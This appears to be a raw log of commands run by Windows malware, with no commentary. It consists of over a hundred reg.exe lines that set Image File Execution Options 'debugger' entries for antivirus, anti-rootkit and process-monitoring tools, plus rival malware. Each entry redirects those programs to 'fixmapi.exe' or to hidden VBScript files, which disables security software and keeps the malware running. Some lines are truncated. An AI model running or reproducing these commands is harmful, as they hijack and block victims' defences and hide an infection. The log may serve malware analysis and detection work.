'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NTRtScan.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TMBMSRV.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PccNTMon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pccntupd.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TmListen.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TmProxy.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\helper.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fud15.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fud16.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\McScript_InUse.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\McTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\naPrdMgr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchose.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.dll" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PsCtrlC.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDMiniDlUpdate.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Go.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDdaSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaiduAnSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDALeakfixer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winIogon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bddownloader.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Smc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\server.dat" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wqscmc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Q.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jozruq.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svshost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ipts.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Njeeves.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Zanda.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kvpncsvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Zlh.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Nsesvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Security.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmon32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\splwowc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KMS-R@1n.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQLiveService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQProtect.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KMS-R@1nHook.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ErrorsChecking.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Desktop Locker.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ErrorCheck.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaiduAnTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uninst.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMFsrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMF.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DriverBooster.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASCTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASCService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Service.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Nip.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mwse.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdAwareService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMFTips.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\elogsvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\traysser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xstartui.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsasvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinCtrProc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SpyHunter4.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SH4Service.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setap_c.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nheqminer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sapissvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svcnoct.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\webtmr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hkcmd.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\emlproxy.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\quhlpsvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaiduProtect.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaiduHips.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\N360.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\N360ChkServ.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VsTskMgr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UdaterUI.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ONLINENT.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OPSSVC.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPSrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rdpthread.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wtssvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tcpzaw.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BurstTCPClient.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Isass.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\consctl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nethtsrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smcc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cputest.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ybrwicon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netupdsrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\System32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mqsgmo.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\syshost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PRTG Traffic Grapher.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\econser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ESERV.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\econceal.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\trayeser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogn.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clamd.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrcs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wintmr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\prtgwatchdog.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jingling.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\find.exe' "ProcessHacker.exe"
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NmWebService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\restarter_x64.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASMAIN.EXE" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autoDENGI.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUB8.2.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IObitUninstaler.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xp64.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EmailSpider.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tcpvcon.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Suo12_StartupManager.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.v...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon64.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdAwareDesktop.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs"...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUBrute.2.2.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EnterpriseConsole.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.v...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lamescan3.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\StartupChecker.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs"...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SysInspector.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spydetector323eng.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs"...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\stinger.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MvtApp.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rootkitremover.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MailCracker.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pex.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDSysRepair.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDShell.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDRootAlyzer.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDScan.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SpybotSD.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Panda_URL_Filtering.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cureit.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
